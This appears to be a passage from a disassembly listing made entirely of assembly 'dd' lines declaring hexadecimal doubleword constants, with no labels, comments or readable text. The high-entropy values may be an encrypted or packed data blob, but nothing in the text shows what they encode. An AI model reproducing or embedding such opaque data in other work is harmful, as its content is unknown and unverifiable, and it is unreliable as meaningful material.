		dd 0BF7E407h, 67574E07h, 0FEEBF2E9h, 0A6F17365h, 43887E25h
		dd 3799F281h, 90AEA376h, 35F16B60h, 1A87C9Fh, 0F94B9CEDh
		dd 0C0596221h, 7FE870BFh
		dd 5E935C4h, 7B30BB57h,	3C50665Ah, 1BB4CFEh, 0E325495Ch
		dd 6CDCA7C1h, 0C2291629h, 54560212h, 0FEB1E6FCh, 6E5207C0h
		dd 6F64F719h, 4A27F022h, 6027BBC3h, 896148B3h, 0DC4BF331h
		dd 345C0112h, 433DC2D2h, 5DAD535Eh, 232F6E89h, 943C76C5h
		dd 8992FA3Ah, 148F555Eh, 0BF1BD5C4h, 6B669728h,	2055D718h
		dd 4A1C56FDh, 8BAC9E5Bh, 82405EE9h, 3B4EFF68h, 171FD131h
		dd 44B8F913h, 5F9DFFDFh, 74D26113h, 0EC803DE8h,	0C4FE4707h
		dd 26C2DCF6h, 941C7511h, 5E4A562Fh, 8C056C1h, 734FC5BEh
		dd 3EE92526h, 0FFB45CE1h, 51FAD4B9h, 118ACC2h, 0B46CA768h
		dd 32CFE4Ah, 853D550Fh,	0EB69C56Eh, 5028FC2Fh, 7A729825h
		dd 77DBBAEBh, 196324D8h, 3A238284h, 37F3B1Fh, 13B1E22Bh
		dd 0FE2F0995h, 0E1527E62h, 0DC2A50D9h, 21565B92h, 705F1ABEh
		dd 950975B1h, 56AF2354h, 0B0F90A66h, 4CE13EEDh,	3A43257Dh
		dd 4A081F50h, 2A9407B2h, 9C31DC58h, 7FF91FCCh, 0EA11D9D9h
		dd 59006C10h, 0A298454Dh, 320FEA09h, 28065F3Bh,	8930F77Dh
		dd 40F252E0h, 0FC2A4822h, 875C082Fh, 7095E90Bh,	61BF0400h
		dd 0BB525F4Eh, 0FE896B05h, 12598BFAh, 15B36CA9h, 605AC206h
		dd 127EE21Fh, 0C199930h, 37CB5FE1h, 0B3EC493Eh,	0C4972F80h
		dd 3F64F122h, 1C987E3h,	7D72F62h, 2D01E05h, 0B75C2926h
		dd 0C48C87Ch, 0BB23F525h, 59053984h, 9E7FD0EAh,	5DD9921Ch
		dd 0F769C117h, 3070257Bh, 201E6455h, 5E4837D8h,	97C3200Ah
		dd 385FC8A9h, 80B6F699h, 5F097EB8h, 868927E1h, 7459745h
		dd 0EA355D2Dh, 0FB34A70Bh, 61F23E46h, 0CC416FF9h, 4F4850C8h
		dd 3641DD61h, 53347371h, 3B39B0DBh, 2B143EC9h, 331CEE4Bh
		dd 0E97F4268h, 86F1213Ah, 0BC701488h, 78B79D20h, 54589FC5h
		dd 3B35895h, 3FB47842h,	2789E989h, 0BA4C5562h, 6040BDB5h
		dd 58BF233Bh, 1B0B115h,	0CAE5D28h, 30E9530Ch, 4BB04272h
		dd 7053AB0Fh, 1B8DC20Bh, 7D74C7E6h, 0BF20C6F3h,	0E9D3BC62h
		dd 726F6A8h, 8750E686h,	0E21AEB2Eh, 49DB8782h, 0D0305B01h
		dd 806A2060h, 6C0EB6BAh, 0C1520A1Eh, 1FE673A5h,	150853Ah
		dd 0D459CCC5h, 7712A74Ah, 0CF8993E8h, 0CE9440BCh, 0C3E18083h
		dd 0C775B150h, 0F312050Ch, 0D6FE515Bh, 0C9766F98h, 0CF0F3C2Ch
		dd 0C305C101h, 3820AAF0h, 2D78A873h, 6D391D95h,	3FB94160h
		dd 0B405649Dh, 88B178FAh, 16F042h, 80D7F65Ah, 0C073EF77h
		dd 590C0565h, 989410F0h, 0E05BEC66h, 0EB0478F8h, 0DDF67260h
		dd 4455A571h, 604CFA90h, 7FC7CFEBh, 194BD027h, 7B2DEBCBh
		dd 0C883BCD4h, 0F1202D59h, 0DEF554DAh, 24EC068h, 66F52807h
		dd 0DEE8BEC1h, 494A8744h, 0EE295F4h, 7AC207CFh,	1CAECAC1h
		dd 0F23E20FAh, 277F963Dh, 4B16FD68h, 9D3FD8B5h,	82424348h
		dd 3165250Ah, 0EB5057D9h, 0C9D99721h, 9B64ED85h, 565A98FEh
		dd 88B5DEFEh, 10E92224h, 2557EB21h, 0B25F3B3Fh,	590C059Ah
		dd 56B0D2C5h, 54712568h, 2B038198h, 5673EA12h, 0FF927F0Bh
		dd 0F509F365h, 92C6DF5Eh, 0E991DD61h, 3281AC06h, 1D1A5CBEh
		dd 67F2207Eh, 0A2412A2Eh, 0B00F0227h, 0A1BAF707h, 2121600Fh
		dd 48010CD4h, 4A643CF9h, 8280C37Bh, 0C4954B19h,	0EB8F91C8h
		dd 54CE75A5h, 884116FEh, 149A5D9Bh, 0B1F3A909h,	98BFCC84h
		dd 2D644FCBh, 49BC6BB5h, 9C34BAD6h, 0C61133F2h,	34D2D50h
		dd 0B9D728CDh, 776EE16Ch, 86D1B239h, 0CB98797Dh, 0BD36B4DFh
		dd 84A86B5Eh, 0CC9167D2h, 0CD6E0A11h, 0A9C03B4Eh, 0B0C4385Fh
		dd 5BC9385Ch, 0D1412CFFh, 0ABF101CDh, 602FE6BDh, 0A8E23026h
		dd 66F8204Eh, 0AB87FB12h, 9870CD31h, 838D246Ah,	101CD6F0h
		dd 0BE9E4E2Ch, 0F789B44Bh, 0D6209B64h, 0A8B0057Eh, 0C1F61434h
		dd 2B55FE51h, 0C19E86D3h, 5D026DCCh, 4CD81675h,	0FB20B956h
		dd 50D3BE00h, 0EE8123E2h, 0B14E1755h, 96CAC2Ch,	0DDD6F746h
		dd 4AB15F33h, 0E990309Bh, 6EC1AE4Fh, 49DC3FEh, 13431F80h
		dd 0BDC34907h, 6ABB3682h, 505DA162h, 0E9520C03h, 58508216h
		dd 3DF63500h, 315912B1h, 5B09F2C3h, 0D7E2B2DDh,	305949FFh
		dd 85860641h, 22E6826h,	788299EEh, 5051A16Bh, 18C6A62Ah
		dd 0E3D5BE5Fh, 3E3B1244h, 4014EE62h, 0E57044Bh,	1FFC26F0h
		dd 77752410h, 0DE5BDD27h, 22C05AAAh, 6FE14CFDh,	0C1F053EDh
		dd 68120BE9h, 32EA6B10h, 5CB8DD33h, 0C44E1FE9h,	1DC55AE8h
		dd 3AF6FAA8h, 0F648347Bh, 77E3FBA3h, 71A56809h,	8252F3FEh
		dd 0B5FDAECh, 41BC077Fh, 132E6493h, 0BE5BDE47h,	5C05B19Bh
		dd 0BC16BD68h, 77EBC35Eh, 2ABFD09h, 0D76351BEh,	848A6440h
		dd 8C442627h, 1D885866h, 870EDA7Ch, 0A669F3E6h,	0F6021815h
		dd 0E9B14D0Bh, 3ED97066h, 800EB252h, 0CA666BEAh, 94D0C95h
		dd 76811003h, 0F6EEB707h, 0FE642FDFh, 0A98587C7h, 7A8E4009h
		dd 66EEBE6h, 5528A324h,	7706EFBAh, 2899492Dh, 2AF70694h
		dd 68E823EFh, 10CEFC46h, 21271261h, 227990F5h, 0ADE3B185h
		dd 67B47652h, 66508A2Eh, 34EEBE8Fh, 0A3F6EF4Dh,	3F0CC94Eh
		dd 8A21A16h, 0E9BF42D3h, 3A7607AAh, 650A029Eh, 0EDAD45F9h
		dd 21A5AA01h, 0BB817CFAh, 90A728Fh, 0ED2F5B3Ch,	786886C0h
		dd 5FC5C53h, 0CEFE36B6h, 82CA0E83h, 1BC1D7F7h, 66C54201h
		dd 0E998E181h, 9AED2F20h, 0EE5B3813h, 0A0898138h, 95AAF6ECh
		dd 5A0A11DFh, 0A75EE3E8h, 2E60A5A2h, 3BBF3D4Eh,	0FE9DE2A9h
		dd 6A5D251Eh, 0D719606Ch, 8C45273Ah, 0EA3E05DDh, 20506F0h
		dd 35AF77D5h, 0B075D0F7h, 17B6CD38h, 8131F044h,	82664A82h
		dd 0AF685E5Ah, 494B7119h, 0E6600A09h, 801E10B5h, 628C36C5h
		dd 5A291411h, 4C8AF8F1h, 0F83806B8h, 6D208B73h,	0F868D754h
		dd 861CBD55h, 9BBF8F13h, 0B26B1EE6h, 5F0D55Dh, 54AD1730h
		dd 960E9CBDh, 5DEB090Ch, 128627Fh, 7C1AE90Bh, 0DFDEB37Eh
		dd 228A41CBh, 0F0285630h, 800E7BC5h, 4B074A05h,	0AB2D6620h
		dd 0FB1097A3h, 1FEDDC19h, 87EC5Bh, 12367792h, 3A268535h
		dd 4E800C19h, 2D0D5317h, 247E5609h, 2B5F6598h, 70680EDCh
		dd 0E26C97A3h, 3128760Bh, 42B7C03Fh, 0F280802Eh, 0D7316878h
		dd 732B3B59h, 79CD336Eh, 0E9657798h, 405A45Eh, 64AB5452h
		dd 45548088h, 622DC21Ch, 82B2D489h, 36CE609Dh, 7CE6605Dh
		dd 7C54750Ch, 0DDDCAA01h, 0BEC78F84h, 4A537F2Ch, 6999BB69h
		dd 3981E100h, 3C76744Ch, 1997EBCDh, 0EF9A0332h,	0D1E45D7Dh
		dd 6AFC2314h, 5F4784D7h, 2DE6FD09h, 9DF92824h, 0C7E9C807h
		dd 208F6629h, 5490CA12h, 0DFF64A4Fh, 0BFC4C859h, 4AE8BE79h
		dd 0CC145DDDh, 8F11DFF7h, 3DE97C09h, 65CCFC3Fh,	87BFB005h
		dd 4D220297h, 0EA82093Fh, 100EBCAh, 326405F8h, 3C048B66h
		dd 0D4E98CD4h, 196BC6B2h, 0C8097D97h, 0EE320F02h, 8789F373h
		dd 0C8C5551Ch, 944E8420h, 54F721BAh, 0ADBD03B7h, 0DD8F0A82h
		dd 0D2924964h, 0F952D69Fh, 503368F2h, 799D6123h, 0F2E569DBh
		dd 68555700h, 17FA199Ch, 0FE4BE91Bh, 5BF007D0h,	0D6615C28h
		dd 0C5757D25h, 0E99DB07Ch, 23C084F1h, 0C174D3EBh, 42C0B763h
		dd 0E9B756A7h, 0F82DBEF5h, 23765D27h, 3421E941h, 0B9F1C453h
		dd 9D8F0C97h, 6346A8BFh, 3CE49004h, 0EE135026h,	0F95E14h
		dd 1E351475h, 0C054D9E9h, 392CEA81h, 0A89528A6h, 0C3408D2h
		dd 0ECBE22EFh, 68168978h, 21322D29h, 4712E057h,	5F5E304Bh
		dd 55137366h, 344A017Ch
		dd 5D4F4EF4h, 0D49D71BAh, 0A4A4FFEDh, 6B3AD5B0h, 6441CB65h
		dd 31CC4DB9h, 0C4281461h, 28680CD0h, 2483491Ch,	61500E86h
		dd 503AF618h, 1B2BFCE3h, 932C3C2Bh, 0DE0A361Ah,	0E5B025Fh
		dd 0A7010FA9h, 42303C7Dh, 0B269434h, 0C4F55D59h, 0D6012437h
		dd 28441626h, 0FC01BA4Ch, 527B4A47h, 0D07A0CFFh, 0EAD15A98h
		dd 1DF0BFh, 0F88BE4F2h,	1EE9531Bh, 0E19F9E60h, 5E8D266Ch
		dd 0C1A61F4Dh, 0FBFD97BBh, 0CD906FBEh, 25144CC2h, 0E07C28C4h
		dd 0FEBF08A0h, 48D05816h, 3FF72B4Ch, 0B55BC0D5h, 0C5810A60h
		dd 902554E2h, 0F2297752h, 273E16DFh, 0F9FC2E13h, 887B762h
		dd 98C20BBAh, 8156EE7Eh, 82E5382h, 56134721h, 5ACDF211h
		dd 0F2CAA391h, 854FD54Ah, 0D030BA1Eh, 16F16853h, 0B744E32h
		dd 0BE69A4D8h, 0A160CAD1h, 2095355Fh, 6B4E9790h, 94A2F6FFh
		dd 7B6804F7h, 249AEF28h, 425BFC17h, 0E6C1DE2Dh,	310EA0F8h
		dd 89370CAAh, 26584F0h,	0C34A0EB9h, 7CE986B7h, 1AF23F48h
		dd 1F84B8C6h, 4D9FF8E6h, 87E0B93h, 0E69324FEh, 964722AFh
		dd 0EE25F8E8h, 653F1507h, 34520235h, 0BC057705h, 0CBE88257h
		dd 0F679AEFFh, 2A266E1Ch, 9EF9E11Fh, 0F4CBF5F1h, 1817A97h
		dd 0FB723CCAh, 7E5AD529h, 96163258h, 103C946Fh,	0EBB0210h
		dd 5815E203h, 524DA195h, 0BF36F0F8h, 9BF37442h,	421ECB01h
		dd 0F3F04F1Ah, 5ABE1BBFh, 0F59A3D3Dh, 7C20A640h, 7F72E531h
		dd 3245ED81h, 217099BFh, 2555FE76h, 0F1AAC5B7h,	8DB0A05Dh
		dd 0DC7B3F41h, 1E607C8Fh, 88D08618h, 826648C6h,	73D85F25h
		dd 1EF38B4Bh, 317CCE62h, 138684E2h, 0EE85368h, 9EB3154Eh
		dd 9FF5D514h, 0BA57AE92h, 0CD1840A2h, 78BE1E43h, 608C1B13h
		dd 0F82A79E1h, 0A3E917DEh, 9B5D4FE0h, 736F831Ah, 58046D20h
		dd 348C18B8h, 9F415D0h,	1A7D611Dh, 60BD39D1h, 22F71741h
		dd 60C203Fh, 22BC2890h,	0B20BCE59h, 6148F21h, 30942FC3h
		dd 3CA88150h, 67FC835h,	77F44777h, 31580AA8h, 5551D209h
		dd 284D8353h, 0B83D02CDh, 5DA0B61h, 7BBEDAFDh, 8975F9E9h
		dd 0A95779D8h, 0EC2BF78Dh, 7CFB7997h, 0CC76B316h, 0BC31C4Ah
		dd 0C1A959E9h, 28079CD8h, 2C5B66FEh, 4F0C78Eh, 4A09E9C2h
		dd 77DA8BEAh, 5E5EE39Ch, 11FCC685h, 78F0E9B1h, 0D45B2746h
		dd 7DEAA77Dh, 227FF657h, 0AB3897CAh, 43829729h,	9584B992h
		dd 4B37CA3Fh, 81B48BFCh, 722B028Fh, 76A0D20Ah, 2D4C16D0h
		dd 0BA65246Eh, 6201D0B0h, 701F7B7Ch, 1A2040FAh,	0D15F3E3Fh
		dd 6820F5DCh, 37BB5D5Bh, 32A95BA4h, 89795DFh, 530832B6h
		dd 2FF4BBBh, 0D53C87F4h, 0E906E8C7h, 4A61766Eh,	4117FFEFh
		dd 0B2B30BFBh, 415772C2h, 4230D1BCh, 0C93F4E76h, 0CB807A38h
		dd 9730D944h, 560214F8h, 757D1F68h, 588C7E4Fh, 189D09BCh
		dd 825F739Bh, 0F020C9DEh, 0B423AF09h, 28AFF007h, 0EDA94E54h
		dd 0B7A252F0h, 5B0E7600h, 312F72B4h, 42A95CEBh,	4C5DE199h
		dd 0A662049h, 3C20527Fh, 2059982Ah, 0B39214FAh,	7151220h
		dd 95681ABBh, 325EA213h, 3F73317Ah, 2884C307h, 0C6375BDEh
		dd 0E94543BEh, 0BF730F91h, 51E07B08h, 0DF87E7D1h, 9410297h
		dd 0B6CE2089h, 25123629h, 5E11EED1h, 755C25BBh,	0E277EE4h
		dd 0BDAFDB0Ah, 0C4AF7595h, 14EBD026h, 0C505F1D8h, 0BB590B63h
		dd 0C3B7DC0h, 0A8574FD3h, 0BF00748Eh, 6EED6CB7h, 0BDD7D0E9h
		dd 104F44Eh, 78B568FBh,	2633D8FBh, 547A700h, 6B7D20DBh
		dd 0D2D60B2Dh, 0EF0240AFh, 9ADF9241h, 0BBD57A61h, 2DE984B9h
		dd 66ACBE7Ch, 0FDFEB85h, 0FC933A3h, 0F970C02Bh,	0E72F9125h
		dd 2AB30B45h, 647E89FDh, 0CAFEDD1Eh, 9F89C254h,	0A1F593F3h
		dd 0F0136FD1h, 0CAD5E1F1h, 3D78FB3Ah, 38BF609Dh, 0E7804AB7h
		dd 76981F73h, 0DE67CFECh, 4E0DED0Ch, 1332B630h,	0F828B9E9h
		dd 25E9A855h, 4C7F27CCh, 12E8BD0Ch, 0F595356Ch,	0C30B2B4h
		dd 0B7B01E09h, 0B7C57E30h, 0F0F12185h, 0B60E52C9h, 4ED20469h
		dd 2CF007E0h, 5A1C5E4Eh, 3520D819h, 1D655120h, 9B06EEC0h
		dd 67C8DCE6h, 9E0CB753h, 0CBD436E9h, 54D20FEAh,	9C66DC27h
		dd 0F69D160Ch, 0C17DEB35h, 0A0D21B33h, 7C33BBB6h, 0F06864BDh
		dd 0EACC1B56h, 705A4150h, 5478882Eh, 74B756F8h,	877D6B49h
		dd 16BE9304h, 62D78EBBh, 0EA1CDC4Ah, 68A122A1h,	434D5D01h
		dd 4E989BA7h, 0C171EEBDh, 567CC5E9h, 0B77BA12h,	34001C78h
		dd 2C1539Bh, 0BAC2B5h, 281AA38Eh, 1787764Dh, 0CD5FDDE9h
		dd 0C2BC6ECEh, 2DCE215Eh, 0EEAC502Eh, 36483268h, 27275Fh
		dd 5456BA74h, 31611398h, 93331AD5h, 0A41446F0h,	27CE71BBh
		dd 4E641A38h, 6B5C62E8h, 209A592h, 63ED83CCh, 265416DAh
		dd 1E8B5E52h, 0EA7012DAh, 21DC0220h, 47439F88h,	0F10555C0h
		dd 0BA21E0BFh, 8D770536h, 0BCC2315Bh, 5F860428h, 1AFF6717h
		dd 0B44093B9h, 0F680F27Dh, 0EC8013DCh, 6904AAB9h, 5305E687h
		dd 0E8581768h, 4C904A3Eh, 0BA0FA8E9h, 755C9DA9h, 84F0010Bh
		dd 9AB45FEFh, 0F70B1E1Dh, 6A1CC906h, 0C31E9571h, 10185F16h
		dd 122FFD0Ch, 8429E8F2h, 9301EF42h, 5353DF8h, 0A83EE430h
		dd 822580F6h, 0E9D163DDh, 426328EFh, 0E9B8B102h, 0E7443AD4h
		dd 0DE780109h, 4F62DD2Eh, 3F1C080Ch, 1D917013h,	0A8FF38FAh
		dd 0E129455Eh, 1978FA3Bh, 8A07593Dh, 1E36284h, 766413BDh
		dd 90EA09FCh, 12F3E68Dh, 0BA9FFEE5h, 125646F6h,	4969E913h
		dd 51F65A90h, 0C3A3F42Fh, 1E4006DBh, 501D3788h,	0CC80E1B4h
		dd 2ECC0C1h, 174829E9h,	6F1238C7h, 0C3030574h, 6FCAEE24h
		dd 7927DAD4h, 2E401059h, 176F5E3Bh, 0CC4FB068h,	36005547h
		dd 0CA810BC5h, 761B7619h, 0EEE21E32h, 0FA02D22Ah, 0C5674C0Fh
		dd 0C1EA6D55h, 1A55CA9h, 0CE20015Eh, 0ACF59A6h,	0D8B7C14Ah
		dd 89C20410h, 0A481D503h, 6B12B013h, 0FC8F621Eh, 0F22F5939h
		dd 57AB4945h, 5522E012h, 0E04C8899h, 0BC9A4F16h, 440CC5B5h
		dd 32A56DBEh, 668C56Eh,	0B8540FE0h, 0B2265BB5h,	280D9F6Bh
		dd 4772D547h, 96E8BC4Fh, 0BEB82220h, 4F640C63h,	5ECEC521h
		dd 0D5520B9Dh, 0D30D9107h, 0A82D0F97h, 1EBD5953h, 680A42C1h
		dd 4DA049C5h, 6234B951h, 0E97EBB05h, 58E86BBFh,	0C0CDB1h
		dd 9DC28366h, 158BADD5h, 5DD7C907h, 0C10FE9FAh,	2256CC50h
		dd 3BB11F68h, 0B92D30E9h, 0B227515Dh, 642C6048h, 0A4745037h
		dd 0B35213FEh, 0D81ABA8h, 3D6F3033h, 0CD6C72F7h, 7620ED0Ah
		dd 485A120Eh, 1DFC2B4h,	0EC9EA4EBh, 49735802h, 0E2C82925h
		dd 7C7AEA47h, 0FC16BDEAh, 0D039EF0Fh, 8644FE3Ah, 0ECA872E9h
		dd 0D7DEBD4Bh, 0E9B100E8h, 4133FE1h, 0D50D00EBh, 29229336h
		dd 3826D97Eh, 6885E153h, 0F9EC3DD8h, 914D29C4h,	76E3C0Eh
		dd 5FE9F357h, 923DBB53h, 0B6FA7051h, 0B3747B4Eh, 4BA70A3h
		dd 0EB014CC8h, 71401B90h, 0C2B20352h, 0F65AD188h, 0C9F13099h
		dd 0FE089DCEh, 86D61E3Dh, 0EE95284h, 0F038D5F1h, 4508E2A7h
		dd 87986753h, 97112D9Fh, 0D1129273h, 96455FE0h,	0E10F1A35h
		dd 6B4B765Fh, 0CD161904h, 2A68E4A2h, 0EA31604Eh, 5E0356DEh
		dd 745A212h, 0CBDF25F3h, 0E3C83949h, 0BB802728h, 4BD9B051h
		dd 7553FF16h, 203E1109h, 4B7259B7h, 97F8F440h, 0A15A4185h
		dd 8D0239E7h, 64306B02h, 90F582DAh, 1637C26Eh, 0E431E8F9h
		dd 1427E91Ah, 0D9F86433h, 448164Dh, 0BEF5CAC3h,	442ABEBAh
		dd 0F4AB04CBh, 5ACBA00h
		dd 0F72E5319h, 660069D2h, 0E90EF6EDh, 2F0454FBh, 50C30C28h
		dd 580AD9B0h, 73B55105h, 0FF00C5FEh, 80D2F678h,	304E0AEAh
		dd 0CA55AD5h, 0B7668373h, 667A2977h, 0F80C9C95h, 7D683851h
		dd 5957900Bh, 2F286F83h, 0F34018A2h, 853E454Ch,	2BC90525h
		dd 0A480394Dh, 0F218F2C1h, 9527959Dh, 6C14E9EFh, 6D707498h
		dd 0E9FBD509h, 26475417h, 552D5649h, 8101A089h,	2E7AFCCEh
		dd 0D4704Bh, 1A244F56h,	0BF0A5746h, 0BD180C77h,	303C3D09h
		dd 40ACBEh, 0D58739Ah, 1BF2038Fh, 312ADE97h, 284BCC30h
		dd 0C40DD37Ah, 5F4613B8h, 0EDC9D5Eh, 0BB163524h, 0FAC5BAF8h
		dd 5ADBAF5Fh, 61915627h, 2D01D30Dh, 953013EDh, 0A13F2940h
		dd 260806B4h, 62B91F4Ah, 0B12A684h, 1560FF31h, 772F2170h
		dd 0F273FA38h, 8AFD094Fh, 0A9FE50B3h, 9C0AA53h,	0E9F8075Ch
		dd 41055D6Ch, 0F85235h,	0BA78DEAFh, 211BD71Bh, 0E1F20187h
		dd 8E222BCAh, 4F25083Ch, 3C5EF07Ah, 970024A7h, 0E9181029h
		dd 0A59E4E20h, 51258389h, 0BB8ACC42h, 3BF85A49h, 4F27F6CDh
		dd 3AE5D5FFh, 0E81CF52Fh, 0FD50E918h, 3F13F561h, 52CC8F1Bh
		dd 49CD1D78h, 9659701h,	0ADDE2D8Fh, 9722742h, 0F5D2640Eh
		dd 84E9DF03h, 91E93B32h, 2C541276h, 0CD3EACC8h,	52E0629h
		dd 0C04FB3CDh, 3BE947BFh, 0EA2655B4h, 2737A02h,	0A7E2775Ch
		dd 0BDB6A5Fh, 914C7F0Bh, 5A56EC40h, 2201D09Dh, 94C17BD1h
		dd 1FA744C5h, 1284F670h, 0D8300C58h, 0CB2EB96h,	4644292Dh
		dd 315309CEh, 0AE5907DAh, 42565942h, 70A0AB40h,	814E0159h
		dd 5D7414F6h, 0AADCDB6Fh, 1729E2B0h, 8711E9F1h,	0E5BF8D0Ah
		dd 0A10B6E1Ah, 0EACD0288h, 354D20Bh, 0DA78666Dh, 65E9F831h
		dd 0D177A745h, 87060FD9h, 0F7FD86BCh, 10D908D7h, 4830081Ah
		dd 0FFF927B4h, 336DFB40h, 555782Fh, 804ED98h, 2FAE0C8Bh
		dd 19904E37h, 0AB589968h, 318829Ch, 395CD89h, 0D02159D4h
		dd 22E912ECh, 0F5670605h, 0D9C1AFF1h, 3C4ECF01h, 0D4038790h
		dd 68375B15h, 7D2A23ABh, 31598AB3h, 0E22E3A8Ah,	60E6D110h
		dd 2641C113h, 5E6E90h, 0B70A2D08h, 3129E9A5h, 6862E8C6h
		dd 2E67F0Dh, 0E912F0E6h, 2AE441E2h, 0B9AD4BF6h,	2F019400h
		dd 9D20D0CAh, 0FAFF0DBh, 0FF8D271h, 36CAC4h, 1952CB81h
		dd 0E5027BB5h, 0EA45133Ah, 459A1CFh, 0E6B2C94Ah, 1299BC75h
		dd 2080A7E9h, 0AD3D98A4h, 9F4F0D7Bh, 0F720BC03h, 5430C25Ah
		dd 9C6805E3h, 4021CD23h, 112AAFCBh, 5EA5F5Ah, 0B35EA93Ah
		dd 682B623Dh, 2A6F85FEh, 4D69EAD4h, 60B55720h, 0CFC1F1A2h
		dd 6E24521Fh, 5001DE01h, 0B9705F68h, 0D29AFC6Eh, 6727F504h
		dd 0B2F02105h, 5017CFBBh, 8513904Fh, 0F048A8E0h, 4CE00C9h
		dd 6853456Dh, 0DAE69555h, 725D25F0h, 8D2809Eh, 0BBE1DEDh
		dd 619E4AA0h, 0E148C84h, 1C10C45Bh, 8389FDBAh, 6E2C1h
		dd 0A55B012h, 22CE971h,	0B96077BEh, 7E0657B5h, 3C7126BBh
		dd 42774998h, 81C0C124h, 0B1EF0B2Bh, 0DA0512F6h, 6A85D9F6h
		dd 955890B0h, 5D689ED5h, 0EAC8ADD0h, 250BC008h,	0F1483B5Dh
		dd 0AF2E4679h, 0E27AA22Dh, 2B801102h, 69A7192Dh, 0A16F74E3h
		dd 55B82BABh, 1F00B590h, 2D02B253h, 112750C4h, 20067609h
		dd 88389407h, 562F293Ch, 20E51FCFh, 2D9385B5h, 0A68553E9h
		dd 947AA978h, 5DF10B6Bh, 0E8A28ECCh, 0B7702FFAh, 0F82FC545h
		dd 8BAEE435h, 3B050169h, 0B2E93909h, 8B41B87Dh,	0E9B1AD68h
		dd 0A3163B37h, 705D3CEEh, 4F954252h, 0C90074ACh, 0BF16117Eh
		dd 6C12F630h, 0E604298Bh, 30FE6BE1h, 0D62B7599h, 0CB31A000h
		dd 0E9DA2959h, 0BD4B9A18h, 3E055348h, 61ED3F04h, 0AFC4F801h
		dd 9EC00816h, 2F102205h, 65DC3C74h, 0A23F4DC0h,	68451321h
		dd 95CCAF0Ch, 0CC6F12EFh, 0C0C21344h, 6C685AEEh, 0F09358EDh
		dd 632B3413h, 354E02FCh, 575E0E7Ch, 9685D0B2h, 0AB4BD202h
		dd 4E08E9F0h, 10EAA307h, 0BA02B60Eh, 6B1A2B05h,	507D0562h
		dd 67739032h, 1F5BF354h, 76BB0Bh, 85AAEA96h, 44010113h
		dd 60745634h, 2CF03868h, 5B16605Dh, 12FA8B53h, 0A3F2AFABh
		dd 0AA8CAED2h, 0FA4FA0C7h, 0A5F99D54h, 6310FFEAh, 0F949EC79h
		dd 716B6800h, 53805191h, 0F5401FBBh, 0C3810346h, 1B354A5Dh
		dd 7D80C07h, 0F3C073D1h, 139D0D7Ah, 0E8F0E9C5h,	89B85E22h
		dd 0FBF2AAF4h, 5ECBBD2Ah, 60B6CA52h, 9F6855E7h,	0ED3AE11Eh
		dd 0D511B148h, 0BF5F3772h, 59804F10h, 745A2752h, 41CE4CCh
		dd 0B817706Dh, 3B5411CEh, 20B8DF28h, 0BA02EE99h, 0FA81A72Ah
		dd 0F97E7701h, 0B2AA5893h, 0CEC50267h, 0D731FC71h, 5D4AA582h
		dd 0C49D31CEh, 4FF8FE66h, 68D9A453h, 23AE584Bh,	62C92B03h
		dd 50C24C51h, 2E3DB03Fh, 371714D4h, 80C37BFDh, 0AF84ACEEh
		dd 42ED5216h, 34040CB2h, 0A76F34B1h, 2978CB5Bh,	5B707782h
		dd 0F9FE3838h, 19CBBF04h, 26C030EAh, 1786353Dh,	0DDFF771h
		dd 7F3590E4h, 3EB98812h, 69E96D61h, 5E20801Dh, 563F622Dh
		dd 0E8011445h, 0CB5A0705h, 0D1E913ADh, 9616B8B9h, 0A9726009h
		dd 50B2056h, 57A07BE9h,	0C45F0C9Ah, 56585B5Ch, 1E730BBBh
		dd 6B554561h, 212E0629h, 2BE2826h, 0C2EBFD2Dh, 0E3F1FEACh
		dd 4A75E408h, 136BF61Ah, 99E3C6B5h, 95E76519h, 64F17FD8h
		dd 5E7FBB63h, 38AF1D05h, 4016610Fh, 0EB6AEE20h,	0C30C296Dh
		dd 0F966B9E9h, 200F4108h, 0ACB476Ch, 0F1C5555Dh, 8C089921h
		dd 9F72CC3h, 0ECF6B6A4h, 3F479863h, 219FCF11h, 4795E0ACh
		dd 0E5A520C5h, 0FF79D46Ah, 0DA4A7644h, 1281C4B8h, 7E5D6A42h
		dd 0BBD38BE3h, 0A2EEF3D8h, 60CD6019h, 0C538827h, 343EF1C4h
		dd 44174B45h, 82E889E3h, 2D26D06h, 0AD12F14Eh, 8DCEF2BBh
		dd 0C920E769h, 0F99D1342h, 0ACB00102h, 3A170C48h, 4108B850h
		dd 0EBFFDEA4h, 0E91E130Bh, 21A2C2E8h, 7467E57h,	0D202E3C1h
		dd 9F647047h, 876F6Bh, 0AE78A582h, 0D23DF632h, 132FCD7h
		dd 53104DB8h, 0BF9F289h, 77B34224h, 68EE312Ah, 3B0379F7h
		dd 59506DA6h, 0ED18416Ch, 3C03DDC6h, 0B2AD5B5Ch, 683A7C4Ah
		dd 0C6608E2Dh, 0FAB213AFh, 0C968AEFEh, 5D5C27E9h, 6B58D239h
		dd 0C82636F6h, 7E54592Fh, 4DB3A28Ch, 0BCA4DD02h, 2DBF5F15h
		dd 0B3F96FDFh, 505D8C93h, 27BD47BFh, 81B3C60h, 7E9E5F97h
		dd 46CB66C1h, 806B3771h, 269705BDh, 3A13E6ECh, 35E04F33h
		dd 461E1619h, 0A6670838h, 328C60A4h, 2EEA61A7h,	250EEF4Eh
		dd 4720F172h, 3C0E9C55h, 1D4462Ah, 6010F825h, 9DF40551h
		dd 0BE4E21E0h, 759D4BFEh, 5750DF8Ch, 3A5A281Ah,	88E0840h
		dd 0CEBF5917h, 0E8202542h, 0A1F9C945h, 27705EE9h, 0D76E0148h
		dd 0F7D58763h, 0E90889D2h, 577C90F2h, 50EB0BBFh, 0C0F55B3Ah
		dd 1C08E598h, 0E9D0F795h, 42811F1Ch, 60131BE0h,	48013900h
		dd 0E1509750h, 0C32CAE97h, 0E6F6102Ah, 3AD5060Ch, 5C018DA7h
		dd 0DE120BB5h, 0C67F739Eh, 0ED0E2A4Ah, 52C9DD31h, 0E710744Eh
		dd 142DD25Eh, 0F3CD5548h, 1D243778h, 46005C4Dh,	0E954840Ch
		dd 5DBC4116h, 1CCC408Bh, 284FC319h, 357D41EEh, 0DB27DC36h
		dd 0FEF92DD3h, 0ADB93010h, 0D42FEA9Bh, 44566422h, 49D48AADh
		dd 8397980Ah, 25FE0316h, 59BF93Eh, 7D43117h, 96497C0h
		dd 0E90A0B7Dh, 6CDEBBDAh, 0F4C9C1B0h, 0D6276D8h, 93069BF5h
		dd 0A41DF096h, 52004B72h, 6D1F94BAh, 0B685321h,	368D17D8h
		dd 24EF65D7h, 8F910B18h
		dd 9E83C7F9h, 0E917E65Dh, 316E955Eh, 6DC9BD3Ch,	8453CF63h
